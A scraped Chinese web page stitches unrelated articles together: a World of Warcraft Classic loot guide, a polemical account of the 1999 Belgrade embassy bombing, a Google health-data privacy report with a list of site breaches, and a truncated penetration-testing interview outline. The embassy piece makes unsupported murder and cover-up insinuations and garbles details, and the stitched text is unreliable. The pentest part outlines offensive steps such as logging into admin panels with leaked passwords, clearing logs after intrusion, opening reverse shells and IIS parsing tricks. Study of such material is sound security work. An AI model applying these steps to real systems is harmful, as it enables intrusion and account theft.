速安GeChe手游下载站_最新手机游戏下载门户网站!

游戏更新 | 安卓游戏 | 苹果游戏 | 推荐游戏 | 软件更新 | 文章更新 | 热门文章
您的位置: 首页  →  攻略 → 《多玩魔兽世界数据库(魔兽世界:经典旧世副本掉落BOE盘点03篇—包工头的起义!)

多玩魔兽世界数据库(魔兽世界:经典旧世副本掉落BOE盘点03篇—包工头的起义!)

2023-01-06 15:52:51      小编:网络整理      我要评论

多玩魔兽世界数据库文章列表:

多玩魔兽世界数据库(魔兽世界:经典旧世副本掉落BOE盘点03篇—包工头的起义!)

魔兽世界:经典旧世副本掉落BOE盘点03篇—包工头的起义!

大家好我是汉堡!

由于之前暴雪爸爸公布了怀旧服将会完美还原1.12版本的消息,所以汉堡就想着没事把各个副本中的BOE(装绑)掉落统计一下。以供大家攒钱学骑术学技能用。此文章部分借鉴了NGA《一本写满评论的艾泽拉斯收藏指南》。

今天要和大家讲的是联盟方能接触到的第一个副本——死亡矿井。故事背景1.0:包工头因拖欠工资而率领手下的农民工们起义的故事。故事背景2.0:包工头的女儿为被脚男搞死的老爸复仇的故事(CTM更新故事)。

之前的载入界面已经记不得了

下面是BOE掉落。

一、迪菲亚套装:这个是联盟方能接触的第一个套装(皮甲)有胸,腿,腰,手,鞋。其属性比哀号的尖牙套要更适合盗贼,小猫咪。而且也比尖牙更适合幻化。不过在当前版本是绝版货。有些部件AH能卖个好价钱。

这是胸部有点歹徒皮甲的意思

二、黑水弯刀:旧世是绿色装绑在CTM后变成蓝色装备。但是由于残酷倒钩的存在导致地位尴尬基本都是丢商店的货。

地精链甲护腿:属性很好,也比较常见,很实用的一件装备放在AH能有个不错的价钱。

漫步靴:这个我没什么印象,可能是因为比较稀缺的原因吧。

迪菲亚细剑:说实话我完全不记得有这个玩意,但是在查资料库的时候看到了所以就写一下。外观不错属性也很好(就是没见过)

死矿中貌似没什么别的BOE(装绑)如果有遗漏请在评论里留言,毕竟已经很久了多玩数据库里面很多连接都打不开了。明天会写黑暗深渊。

感谢阅读!汉堡会每天魔兽的相关文章(以没用的幻化,玩具,坐骑为主)偶尔有一些暴雪其他游戏的消息。如果这篇文章你觉得不错,麻烦点个赞!

克林顿:误炸中国使馆后,我给江泽民通话,地图有人动了手脚

1999年3月24日,美国在未经联合国安理会授权的情况下,公开对南斯拉夫联盟共和国进行空中打击的第一天。

轰炸的起始阶段,北约将各类高精尖炮弹对准了南联盟的地面军事目标,希望用武力来逼迫南联盟人民屈服。

连续狂轰滥炸了45天后,尽管南联盟的大部分军事设施已经被轰炸殆尽,工厂、电视台、铁路等公共基础设施也遭遇重创,南联盟人民的脊梁依旧挺得笔直。

在此过程中,北约即便出动1150架次空中战机,在南联盟的土地上投下了22000吨炸弹,但其却依旧未能达到用武力迫使南联盟服软的目的。丧心病狂的北约军事联盟,也在计划着一个更大的阴谋。

1999年5月7日,一架B2隐形轰炸机从美国密苏里州怀特曼军事基地中缓缓驶出,跟从前不同的是,这次驾驶战机的两名宇航员在进入飞机塔台后,才接到这次的作战安排。

在这架轰炸机上,装载了当时最为先进的全球卫星定位系统及惯性导航系统,配置的弹药则是每颗重达908公斤的GBU-31型联合直接攻击炸弹。

短短几分钟后,飞行员便接到了来自塔台的起飞指令,按照作战安排上的预定航线朝巴尔干半岛急速飞去。

而中国驻南斯拉夫大使馆,则正坐落于多瑙河跟萨瓦河的交汇处,位于贝尔格莱德的诺维比奥格拉德新区。

这是一幢漂亮的五层楼高银灰色建筑,办公楼旁边就是大使官邸,通过一条甬道将两处给连接了起来。

走出大使馆后场地开阔,一直到两百米开外后才有一些稀稀落落的民用建筑,周围连半点军事基地的影子都见不到。

驻外工作远在异国,因此每到周末或节假日时,使馆内的工作人员们在处理完手头的工作后,也会去一处位于“半地下室”的食堂内读书看报,娱乐休息。

但在这一个多月以来,南联盟都处于北约的狂轰滥炸之下,大使馆内的日常生活也受到了波及,每当贝尔格莱德拉响空袭警报后,整个城市便会被迅速断电。

即便如此,使馆内的工作人员也在想方设法的与国内保持联系,每到断电时,使馆内的备用发电机便会被启动。

1999年5月7日,正是星期五,工作人员在忙完工作后,便三三两两的来到了俱乐部内,像往常一样聊天娱乐,谈论国际形势。

到了该散开休息的时候,负责管理发电机的潘占林大使便将电机关掉,大家也都准备借助手电筒的微光走回宿舍去睡觉。

这时,研究室主任王辅国提议到,最近一段时间以来大家都情绪紧绷,不如趁着周末的工夫,让大家今晚可以在俱乐部里多玩一会儿。

但潘占林大使在看了看手腕上的手表后,发现手表上的时针跟分针已经指到了11:15分:“一个多月来,大家因轰炸睡不好觉,白天工作又紧张都感到很累,今天索性早点休息,免得晨昏颠倒!”

听完潘占林大使的这几句话后,大家也逐渐开始感到睡意来袭,便都同意了潘占林大使的提议,回到了各自的宿舍中去。

半个小时后,两架B2轰炸机也盘旋在了巴尔干半岛的上空,等待着指挥舰下达投弹命令。晚上11时45分,轰然一声巨响过后,使馆人员接连从睡梦中惊醒。

正在挑灯夜读的潘占林也被从床上给颠了起来,也在心中暗叫不好,因为南斯拉夫电力设计院就在大使馆附近,爆炸产生的冲击波很可能也会影响到大使馆建筑。

但等到潘占林带着手电筒外出查看时,却不由得大吃一惊,因为北约此次的轰炸目标不是南斯拉夫,而是我们的驻南联盟大使馆。

接二连三的爆炸声中,大使馆内墙体陷落,院子内也燃烧起了熊熊大火。更令人忧心的是,使馆的厨房内正储存着5个当天下午刚运来的煤气罐,也在一个接一个的发生爆炸。

南斯拉夫救援队人员赶到前,只有不到10名工作人员从废墟内逃了出来,他们手上也大都紧攥着摄像机跟海事卫星电话,方便保存最近一段时间的工作资料。

那些依旧被困的二十多名工作人员中,他们在自救与抢救国家公共财产中选择了后者,部分人员依旧呆在五楼保护资料,等待着消防人员到来。

在这场惨烈的反人道主义轰炸中,新华社记者邵云环、光明日报国际部记者许杏虎及其夫人朱颖最终壮烈牺牲,永远的倒在了异国的土地上。

消息传回国内后,我国政府立刻与美国进行严正交涉,在谴责美国政府轰炸中国使馆的同时,要求美国严惩罪犯并向我国赔礼道歉,给我国政府好我国人民一个交代。

美方则对着媒体表示,既然有战争,那就避免不了意外:“我们有着世界上最好的飞行员,我们有着世界上最尖端的武器,我们的军事行动也进行过最周密的策划......”

但在这场惨案发生后,不管是美国白宫的官方发言人,还是各大美国媒体,竟都将这场轰炸定义为了“误炸”:“这是一次非常低级的错误,因为军方使用的地图存在问题,导致了对中国驻南使馆的误炸!”

美国最终给出的道歉,也是建立在“误炸”的基础上,根本就看不到其致歉的诚意。

而与美国一丘之貉的北约,也迅速召开了一场新闻发布会,在这场发布会上,发言人谢依不但故意回避中国记者的提问,而且还在媒体镜头前洋洋得意的发表着自己对北约军事实力的看法。

中国记者为了给自己的同胞们要一个说法,来到谢依的办公室对谢依进行采访时,谢依竟恬不知耻的回答说:“北约的军事打击都是合理的!”说完后,谢依便如一只缩头乌龟般冲进自己的办公室内,将记者蛮横的挡在了门外。

在美方的蛮不讲理跟蓄意挑衅下,无数热血人士自发的涌上街头,他们手里举着横幅,抗议着美方的无耻行径,誓要给三位烈士在国际上讨回一个公道。

他们在街头高喊着:“反对霸权,打倒美帝国主义!反对侵略,维护主权!中国人民不可辱,打倒北约!”

愤怒的示威队伍冲到美国大使馆前,高声唱起我们的国歌,在那高昂的声音中,满是对美帝国主义的愤恨与控诉。

在舆论压力的逼迫下,时任美国总统克林顿也不由得慌了手脚,想要亲自跟江泽民同志通话,解释整件事情的来龙去脉。

克林顿在回忆录《我的生活》中表示:“那次造成3名中国公民死亡的袭击事件,是科索沃冲突中最糟糕的政治挫败。我为这次错误敢带惊讶和十分苦恼,遂立刻致电江泽民致歉。他当时不肯接听电话,所以我多次公开道歉。”

在轰炸事件发生两天后,美国和北约再也抵挡不住外界的重重压力,开始准备寻找其他的借口为自己的恶行开脱。

与此同时,美国国防部长科恩与美国中情局局长发布了一份联合声明,表示美国政府将成立一个专门调查组,对这次“有风险的军事行动”进行一次全面调查。

在自我调查了一个月后,美国副国务卿皮克林乘专机来到北京,向我国递交了一份调查报告。但即便经过了一个月的自我调查跟自我反省,美国政府却依旧没有承担错误的勇气,依旧将这次恶意轰炸定性为了一次“悲剧性的误炸”。

而在这一个月的时间里,美国政府也并非在找出真相,而是在不断的掩埋真相,企图用三个“失误”,即目标定位失误、数据库老旧(失误)、审查程序失误来为自己脱罪。

美国在这份报告中信誓旦旦的表示,他们当时想要轰炸的地点是“南联盟军需供应部”,而并非是我国驻南联盟大使馆。

但根据现场记者传回的信息来看,这栋被美国称之为“南联盟军需供应部”的建筑,实际名字为“南联盟物资供应局”。

美国政府之所以暗地里给这栋建筑改名换姓,也是想用“军需”二字模糊视线,表示自己作战轰炸的合理性。

当记者驱车实地探访时,发现南联盟物资供应局距离我国使馆的直径距离为350米且是一幢二层建筑,除了外表颜色外,在建筑规模跟建筑方式上跟我国大使馆没有半点相似的地方。

可令人发笑的是,就在前不久的记者发布会上,美国白宫发言人还在镜头前沾沾自喜的表示,自己的国家拥有世界上最先进的武器。

在美国GPS定位系统的帮助下,他们可以轻松搜定位到地面上的建筑物、车辆和行人。中国驻南联盟大使馆占地面积达数千平方米,使馆内外还飘扬着鲜艳的五星红旗,GPS定位系统又怎会定位失误?

但就是这样“先进”武器的支持下,美国军方战机特意从美国本土起飞,绕过北约在欧洲的军事基地,在巴尔干半岛上空进行了一次“误炸”。对于这样一个拙劣的借口,又有谁会信服。

由于美国政府不愿担责,在其捏造的第二条借口中,便将所有的脏水都泼在了美国国家地图局上。美国政府声称,正是由于美国国家地图局提供的地图过于老化,对中国驻南联盟大使馆地址标注错误,这才导致了这次“误炸”。

为了让这些编造的谎言显得更加真实可信,美国政府特意从美国国家地图局中找到了一个名叫班尼特的退役中校,声称正是由于班尼特的工作失误,在未经求证的情况下,只通过一些过时的航空照片便锁定了“南联盟军需供应部”的位置。

由于我国在对美方的要求中,有严惩肇事者这一条,因此美国政府很快便将班尼特从美国国家地图局中开除。跟班尼特有过工作对接关系的其余人员,也没能从这场风波中幸免。

但令人费解的是,2009年3月,班尼特的尸体出现在美国弗吉尼亚州的一处河畔公园,像美国那些大多数“自杀”而死的人一样,班尼特的死因至今没有被美国警方找到。为了掩盖事情真相,美国联邦调查局向来喜欢掩耳盗铃,不惜把鲜血涂抹在了档案袋内的资料上。

尽管美国政府选中了班尼特来替自己顶包,但美国国家地图局也不想任人宰割,任凭这件事将自己的工作污名化。

因此美国国家地图局也很快便跟进了一份声明,其发言人珍妮.拉佛利在接受《亚洲周刊》采访时明确表示:“我们的地图正确的标注了中国大使馆及南联盟军需局的位置。”

更重要的是,美国军方在确定某一轰炸目标后,随即便会派出地面人员对其具体地点进行核实,根本不存在只凭借一份地图资料,便将轰炸目标确定下来的情况。

制导导弹在正式攻击地面目标前,会先通过电子侦察卫星等各种监测设备,对地面目标进行全方位测绘跟分析。当控制导弹的计算机将这份实际图像数据与事先拍摄好的图像进行比对后,导弹才会正式攻击地面目标。

在美国国家地图局的有力回应下,美国调查报告中所列出的第二条“误炸”原因,也是谎言无疑。

在克林顿多次向江泽民同志发出通话请求后,江老终于在一个星期后表示同意。

电话刚一接通,克林顿便迫不及待的向江老表示:“主席先生,我愿对发生在贝尔格莱德的悲剧表示由衷的致歉,尤其是对受伤人员跟遇难者家属表示慰问。我保证调查清楚事件发生的原因,并尽快让中国人民了解事实真相!”

除此之外,克林顿在其回忆录中也有些激动的写道:“他知道我不会故意袭击大使馆,但他认为在国防部和中情局内可能有一些人不支持我亲华的立场,这些人可能蓄意在那些地图上动手脚。”

克林顿接着写道:“江泽民很难相信像美国这样先进的国家竟会犯下这样的错误。这件事也同样令我难以相信,但这是实情。”

虽然克林顿的私人回忆录中掺杂了过多的个人情感,其内容中立性跟客观性也有待商榷,但回忆录中的这条信息,却也从侧面反映了美国为何敢如此丧心病狂的轰炸我国大使馆。

过去的几十年中,美国一直在世界范围内推行霸权主义跟强权政治,而这次的科索沃战争也彻底将美国和北约钉在了历史的耻辱柱上。

美国轰炸我国大使馆前,北约已经在南联盟境内进行了45天的狂轰滥炸,无数平民在这场由美帝国主义挑起的战争中丧生,引起了世界爱好和平人士的反感。

在对南联盟正式开始轰炸前,北约组织洋洋自得的表示,最多只要一个星期就可以结束战争,让米洛舍维奇求饶。但让美国主战派措手不及的是,四十五天的轰炸并没有把南联盟打倒打服,反而将自己跟北约都架在了油锅上,陷入了一个进退两难的尴尬境地。

在同一时期,美国政府除了频频对外输出战争外,对内也是内斗不断。共和党人士为了能保证自家候选人在下一届总统竞选中脱颖而出,也在不断给以克林顿为首的民主党使绊子。

就在美国政府轰炸我国驻南联盟使馆前,克林顿刚刚在公开场合发表声明,表示自己将不断推进中美关系发展。

美国主战派跟共和党为了在打击克林顿的同时尽快结束战争,进一步打垮南联盟人民的士气,显示自己在科索沃战争中的强硬底气,便将矛头对准了一个支持南联盟人民的朋友---中国。

更令美国政府头痛的是,自从中国实行改革开放政策以来,国民经济便迅猛发展,假如长此以来的发展下去,中国必然会成为美国最强劲的对手之一,这也正是美国所不希望看到的。美国政府正是想通过制造一起突发事件,来牵制住中国不断发展的步伐。

但美国跟北约却低估了我国人民的血性跟骨气,他们的计谋不但没有得逞,而且也根本承受不住来自中国人民的怒火。从前还耀武扬威的北约组织,也在几天后偃旗息鼓,表示:“必须平息中国的愤怒”。

而这次轰炸我国大使馆,在种种因素的作用下,克林顿本人可能真的被排除在这场行动之外,并不是这场蓄谋已久轰炸行动的发起者和主导人。

可惜的是,在轰炸惨案发生后,尽管克林顿多次在镜头前发布道歉声明,克林顿却依旧没有与美国政府划清界限,仍把轰炸原因归结为“误炸”。

中美两国先后进行了五次谈判后,美国政府最终于2001年1月17日,向中国政府支付了一笔金额为2800万美元的损失赔偿金,并对遇难者家属单独赔偿了450万美元。

但这似乎从一开始,就不是一个可以用金钱来解决的问题,不管美国向我们赔偿多少物质财物,我们在那次轰炸中去世的三名同胞,都永远回不来了。

在朱颖烈士的葬礼上,朱颖父亲眼含热泪的控诉到:“他们总说他们是高科技,他们是误炸,三枚导弹炸在一块儿能是误炸吗?他们不是炸的很准吗?为什么一下就把3个炸弹都炸到中国大使馆来了?”

由于当时国内的调查小组还没有赶到,使馆内工作人员也只能根据经验估计,美国向使馆内投掷了三枚炸弹,并暂时上报。

但等到国内调查小组赶到,并对使馆内部空间进行了实地勘察后,发现一共有五枚炸弹落在了使馆内。

第一枚炸弹落在了使馆的东南角处,将整栋楼都穿透后最终落在墙角边上,紧挨着高级外交官们的宿舍。

第二枚炸弹则是落在了使馆的正中央,使馆内的办公用品在一瞬间被炸弹带来的高温烧为了灰烬,办公大厅也被炸毁。

第三枚炸弹落在了使馆的西北角,周围房间被毁。第四枚炸弹则钻进了地下室,那个被使馆工作人员当作俱乐部的大厅即便有钢筋支撑,但最终依旧被炸弹产生的冲击波震到解体。

如果使馆人员当天继续在俱乐部内闲聊,没有听从潘占林大使的意见回到宿舍休息的话,那最终的伤亡人数可能会更多。但被存放在地下室中的汽油和天然气也因此被引燃,其爆炸时所产生的威力也不亚于一枚炸弹。

第五枚炸弹则落在了潘占林大使的住处,穿过屋顶后最终径直落到地下。万幸的是,这颗炸弹没有发生爆炸,不然后果更加不堪设想。直到轰炸事件发生五年后,这枚炸弹才被塞尔维亚方面取出销毁。

从使馆的东南角再到西北角,大使馆的整幢建筑都被美国战机投射的导弹炸了个遍,如果美国事先没有对大使馆建筑布局有一个完整掌握的话,根本不可能将炸弹投放的如此精准。美国政府绞尽脑汁为自己想出来的“误炸”原因,更让它在国际上显得像一个跳梁小丑。

我国鹰派大佬艾跃进教授曾经有过一段振聋发聩的名言:尊严只在剑锋之上,真理只在大炮射程之内。二十世纪末时,我们国家的综合实力虽然有了很大进步,但仍然跟世界霸主美国有着较大差距。

《公羊传.庄公四年》在评价齐襄灭纪一事时曾言:“九世犹可以复仇乎?虽百世可也。”美国欠中国跟中国人民的这笔血债,中国人也将永世不忘。

当年所受的屈辱与痛苦我们咬牙咽下,如今我们的国家日益强大,世界上再也没有哪个国家敢“误炸”我们的大使馆。

在2021年举办的中美阿拉斯加会谈中,当我们与美国坐在同一张谈判桌上时,美国再也没有资格说:“从实力的地位出发,同中国谈话。”

种恶因得恶果,以美帝国主义为核心的西方霸权组织,也逐渐到了日薄西山的时候,他们终有一天,将会为自己的嚣张傲慢,付出应有的代价。

参考资料:

青岛新闻网:克林顿自传:披露1999年美轰炸中国驻前南大使馆内幕

人民日报出版社:23年前中国驻南联盟大使馆遇袭,误炸还是故意?

环球网:20年后的今天,看谁还敢“误炸”我使馆!

光明网:23年了,我们没有忘记

谷歌被指控秘密收集个人健康记录,暴露其夜莺计划

据《华尔街日报》报道,Google秘密地收集了21个州的数百万条患者病历,称为“夜莺计划” 。报告称,提供者的医生和患者都没有意识到这一行为。

《华尔街日报》道,该计划中收集的数据包括“实验室结果,医生诊断和住院记录等,并包括完整的健康史,以及患者姓名和出生日期”,多达150名Google员工可以访问这些数据。

当天晚些时候,《纽约时报》证实了该报告的大部分内容,写道“数十名Google员工”可能有权访问的患者敏感数据,并且担心某些Google员工可能已经下载了其中一些数据。

但是Google声称:医疗保健公司按照标准的行业惯例与技术工作者共享高度敏感的健康记录,就像该公司所签署的那种协议一样 -允许Google使用其患者的私人医疗数据以及不需要通知患者为该医疗保健公司构建工具。该公司声称。

一位发言人对谷歌一直在秘密收集数百万美国人的健康记录的想法提出质疑,称该协议的唯一目的是向医疗保健公司提供服务。

Google已经确认与健康重磅产品Ascension合作,这是一个位于圣路易斯的天主教医疗体系,遍及21个州和哥伦比亚特区。该公司称自己为“一个基于信仰的医疗保健组织,致力于通过整个医疗保健领域的创新来实现转型。”据《华尔街日报》报道,谷歌正在使用系统中的数据来设计软件,以使用“先进的人工智能和机器来量身定制个性化的患者护理”。

据《福布斯》报道,作为夜莺计划的一部分,Ascension将患者数据上传到了Google的云服务器

Google长期以来一直关注医疗保健,而最近几年他们对这个行业的关注才有所增加。最近,它一直在与亚马逊和苹果公司的类似努力竞争,它们也试图进入利润丰厚的医疗保健领域。去年,Google 聘请了一名医疗保健主管来监督其许多医疗保健计划。大约在同一时间,他们宣布了吸收 AI实验室DeepMind的医疗保健部门的计划,目的是创建“护士和医生的AI助手”。

该科技公司还被指控通过芝加哥大学医学中心不当访问数十万条医疗记录。Google在2017年与芝加哥大学医学中心合作开发了机器学习工具,该工具能够“准确地预测医疗事件-例如患者是否会住院,待多长时间以及尽管接受了诸如此类疾病的治疗,以及他们的健康状况是否恶化。该公司在博客中说: “由于尿路感染,肺炎或心力衰竭。” 该帖子还提到该公司机器学习的雄心之一是“在患者出现之前预见他们的需求”。

一个新闻稿由阿森松今天发布,在之后华尔街日报文章发表后,宣布与谷歌的合作伙伴关系,并表示该伙伴关系的目标是“优化个人和社区的卫生和健康,并提供数字化功能的全面的产品组合。 ”它还说:“与Ascension与Google接触有关的所有工作均符合HIPAA,并以强大的数据安全性和保护工作以及对Ascension严格的数据处理要求的支持为基础。”

谷歌当天晚些时候还发表了一篇博客文章,确认“夜莺”是其健康项目的名称。“要明确:根据这种安排,Ascension的数据只能用于提供我们根据协议提供的这些服务之外的任何其他目的,并且患者数据不能也不会与任何Google消费者数据结合使用,” Google Cloud写道总统塔里克·绍卡特(Tariq Shaukat)

早在2017年初谷歌就在用户不知情的情况下,一直利用安卓手机用户手机通信塔的地址信息,且这种收集位置数据的行为不会因为用户的手机恢复出厂设置或者拿出SIM卡而受到影响。

2018年9月10日,关于“google谷歌数据泄露案达成和解”的新闻再次将去年goole发生的严重用户数据泄露事件推到了用户的面前。可以说,2018年,几个世界著名的IT巨头都在数据泄露这个问题上栽了跟头。

先是2018年3月,全球最大的在线社交网站Facebook卷入了一起大量用户隐私泄露的事件。

而在2018年第四季度,google公司也被爆出数十万google 账户资料外泄。这直接导致google 业务被关停,并将google推上了法庭。

事实上,我们在使用网络的过程中,很多时候都会遇到一些有意无意监控或者捕获我们用户数据的程序。

现在的个人信息泄露有多严重?

12月21日:CSDN 640W用户帐户,密码,邮箱遭到黑客泄露
12月22日:中国各大知名网站全面沦陷.涉及范围甚广,泄露信息涉及用户相关业务甚多……一场席卷全中国的密码安全问题爆发
12月23日:CSDN泄露、多玩泄露、梦幻西游帐户通过木马泄露、人人网部分泄露
12月23日:网友爆料 天涯沦陷,7K7K包中包含天涯帐户密码
12月24日:178沦陷、UUU9沦陷,事态蔓延
12月24日:天涯全面沦陷,泄露多达900W帐户信息
12月24日:网易土木在线也沦陷,数据量惊人
12月25日:百度疑因帐号开放平台泄露帐户信息
12月25日:北京麒麟网信息科技有限公司疑泄露百度与PPLive帐户与密码.并且自身帐户信息全部泄露
12月25日:http://UUU9.COM被黑客两次拖库
12月25日:事态升级天涯疑泄露4000W用户资料
12月25日:178第二次被拖库泄露数据110W条
12月25日:木蚂蚁被爆加密密文用户数据,约13W数据
12月25日:知名婚恋网站5261302条帐户信息证实
12月26日:myspace泄露,迅雷又成功离线3个泄露包
12月26日:ispeak泄露帐户信息 已验证!请官方通知会员修改密码
12月26日:网络流传包17173.7z中17173.0为178帐户信息,178惨被拖库3次
12月26日:网络流传包17173.7z中17173.3为http://UUU9.COM帐户信息,泄露数据不详
12月26日:塞班智能手机网校验准确率高达70%,或塞班智能手机网沦陷
12月27日:网易土木论坛通过碰撞分析密码,用户资料全部属实!共计135文件,4.31G
12月27日:http://178.com彻底沦陷,共计泄露超出1100W 数据
12月27日:766验证泄露,泄露数据十余万
12月27日:ys168验证泄露,泄露数据三十余万
12月27日:凡客20W 当当10W 卓越20W 用户资料验证泄露
12月28日:太平洋电脑泄露200W用户资料包含用户帐户
12月28日:大学数据库泄露,身份证信息泄露,更为敏感内容糟骇客泄露,泄露数据不详,只能靠

数据泄露,后果究竟有多严重呢?

被收集的通常包括很多敏感数据。比如医疗信息,纳税申报单,GPS定位,云服务和数据,文件附件,信用卡信息,基因图谱,网上购物历史等。

而被捕获的企业数据则更令人担忧,包括:员工的实时活动,私人LAN网络结构,嵌入在LAN 网页上的超链接等网页内容,专有源代码,防火墙进入代码等等。

下面是网上流传的许多用户的支付宝账号密码,,,条条触目惊心。犯罪分子可以利用这些数据危险你我财产安全。。。

现在的人基本上是透明的了。

随便下载一个app,注册一个账号,你的手机号、邮箱号就被保存到数据库中了。当然,有些要求填写的还要包括支付信息、身份信息等等。当你的信息控制在他人的手里,总是不会太安全。可能是有黑客暴力盗取,甚至会有“内鬼”直接出卖信息,而现在比较可怕的是别有用心的人会去撞库,利用已知的信息获取更多信息,一个人的信息就慢慢丰富起来了,利用这些信息,轻则精准营销,重则精准诈骗甚至是更加严重的行为。

有时候隐私泄露,并非是大数据分析出来的“特征”,而是故意被泄露,大数据只是个托词而已。
比如说,我们的简历被招聘网站、假招聘方恶意泄露,我们的身份与电话号码被电商网站泄露,也可以托词说是大数据分析的结果。

身份/电话被泄露,导致每天广告电话接到手软。比如我就特别钦佩百度推广的执着,每天一个电话,持续几年哪,不佩服绝对不行。


与其如此被广告轰炸,我倒宁可大数据真正发挥点作用。比如百度分析出这个客户没有价值,就不要再努力了嘛,这样大家都太平了,多好啊。

可见,理想的大数据分析一定不会恶意利用你的隐私,反而应该是雪中送炭,锦上添花,急人之所急,解救万民于水火之中。
通俗点说,比如你的车子撞了,大数据立即告诉你最佳处理交通事故的方案,帮你联系好交警的同时,也顺便给你推荐了最合适的拖车公司,最合你心意的修车厂,专车司机也帮你约好了,修车期间租车也帮你搞定了,...,你要做的就是掏钱就行了,保证你还掏的舒心。

如何保护个人信息?

关注数据隐私,保护自己安全!

关注 小编啊,为你带来最新、最快、最有价值的资讯和故事!

最新丨2019版渗透测试面试题,值得一看

温馨提示:本文篇幅较长,有需要的小伙伴可以收藏后分时间段阅读。

知识大纲

■ 思路流程

信息收集

漏洞挖掘

漏洞利用&权限提升

清除测试数据&输出报告

复测

■ 问题

■ 深信服一面:

■ sql注入防护

■ 为什么参数化查询可以防止sql注入

■ SQL头注入点

■ 盲注是什么?怎么盲注?

■ 宽字节注入产生原理以及根本原因

产生原理

在哪里编码

根本原因

解决办法

sql里面只有update怎么利用

■ sql如何写shell/单引号被过滤怎么办

代替空格的方法

mysql的网站注入,5.0以上和5.0以下有什么区别?

■ XSS

反射型

储存型

DOM型

XSS原理

DOM型和反射型的区别

DOM型XSS 自动化测试或人工测试

如何快速发现xss位置

对于XSS怎么修补建议

XSS蠕虫的产生条件

■ CSRF

CSRF原理

防御

token和referer做横向对比,谁安全等级高?

对referer的验证,从什么角度去做?如果做,怎么杜绝问题

针对token,对token测试会注意哪方面内容,会对token的哪方面进行测试?

■ SSRF

检测

SSRF漏洞的成因 防御 绕过

■ 上传

文件上传漏洞原理

常见的上传绕过方式

防护

审查上传点的元素有什么意义?

■ 文件包含

原理

导致文件包含的函数

本地文件包含

■ XXE

■ 逻辑漏洞

金融行业常见逻辑漏洞

■ 溢出

■ 中间人攻击

原理:

防护

ARP欺骗

■ DDOS

syn洪流的原理

CC攻击原理

Ddos原理

DDOS防护

■ 提权

Mysql_UDF提权

Mysql mof提权

mysql两种提权方式

■ 特殊漏洞

原理

利用

漏洞加固

防护

产生原因

利用条件和方法

修复

Struts2-045

Redis未授权访问

Jenkins未授权访问

MongoDB未授权访问

Memcache未授权访问

FFMPEG 本地文件读取漏洞

■ 安全知识

简述路由器交换机、防火墙等网络设备常用的几个基础配置加固项,以及配置方法。

wireshark简单的过滤规则

TCP三次握手的过程以及对应的状态转换

TCP和UDP协议区别

https的建立过程

AES/DES的具体工作步骤

RSA算法

分组密码的加密模式

如何生成一个安全的随机数?

SSL握手过程

对称加密与非对称加密的不同,分别用在哪些方面

如何清理日志

入侵 Linux 服务器后需要清除哪些日志?

LINUX

Windows

查看当前端口连接的命令有哪些?netstat 和 ss 命令的区别和优缺点

反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?

通过Linux系统的/proc目录 ,能够获取到哪些信息,这些信息可以在安全上有哪些应用?

linux系统中,检测哪些配置文件的配置项,能够提升SSH的安全性。

如何一条命令查看文件内容最后一百行

如何加固一个域环境下的Windows桌面工作环境?请给出你的思路。

各种数据库文件存放的位置

php中命令执行涉及到的函数

安全模式下绕过php的disable fuction

PHP弱类型

常用WEB开发JAVA框架

同源策略

Jsonp安全攻防技术,怎么写Jsonp的攻击页面?

涉及到Jsonp的安全攻防内容

攻击页面

WEB

PHP

数据库

系统

密码学

TCP/IP

流量分析

防火墙

思路流程

信息收集

1.服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等)

2.网站指纹识别(包括,cms,cdn,证书等),dns记录

3.whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)

4.子域名收集,旁站,C段等

5.google hacking针对化搜索,pdf文件,中间件版本,弱口令扫描等

6.扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等

7.传输协议,通用漏洞,exp,github源码等

漏洞挖掘

1.浏览网站,看看网站规模,功能,特点等

2.端口,弱口令,目录等扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。

3.XSS,SQL注入,上传,命令注入,CSRF,cookie安全检测,敏感信息,通信数据传输,暴力破解,任意文件上传,越权访问,未授权访问,目录遍历,文件 包含,重放攻击(短信轰炸),服务器漏洞检测,最后使用漏扫工具等

漏洞利用&权限提升

● mysql提权,serv-u提权,oracle提权

● windows 溢出提权

● linux脏牛,内核漏洞提权e

清除测试数据&输出报告

i 日志、测试数据的清理

ii 总结,输出渗透测试报告,附修复方案

复测

验证并发现是否有新漏洞,输出报告,归档

问题

1.拿到一个待检测的站,你觉得应该先做什么?

1) 信息收集

1. 获取域名的whois信息,获取注册者邮箱姓名电话等,丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。用邮箱做关键词进行丢进搜索引擎。利用搜索到的关联信息找出其他邮箱进而得到常用社交账号。社工找出社交账号,里面或许会找出管理员设置密码的习惯 。利用已有信息生成专用字典。

2. 查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。

3. 查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,Apache,NGINX的解析漏洞

4. 查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。

5. 扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针

6. google hack 进一步探测网站的信息,后台,敏感文件

2) 漏洞扫描

开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含, 远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等

3) 漏洞利用

利用以上的方式拿到webshell,或者其他权限

4) 权限提升

提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,linux脏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权

5) 日志清理

6) 总结报告及修复方案

2.判断出网站的CMS对渗透有什么意义?

查找网上已曝光的程序漏洞。

如果开源,还能下载相对应的源码进行代码审计。

3.一个成熟并且相对安全的CMS,渗透时扫目录的意义?

敏感文件、二级目录扫描

站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点

4.常见的网站服务器容器。

IIS、Apache、nginx、Lighttpd、Tomcat

5.mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?

root权限以及网站的绝对路径。

6.目前已知哪些版本的容器有解析漏洞,具体举例。

IIS 6.0 /xx.asp/xx.jpg "xx.asp"是文件夹名

IIS 7.0/7.5 默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析

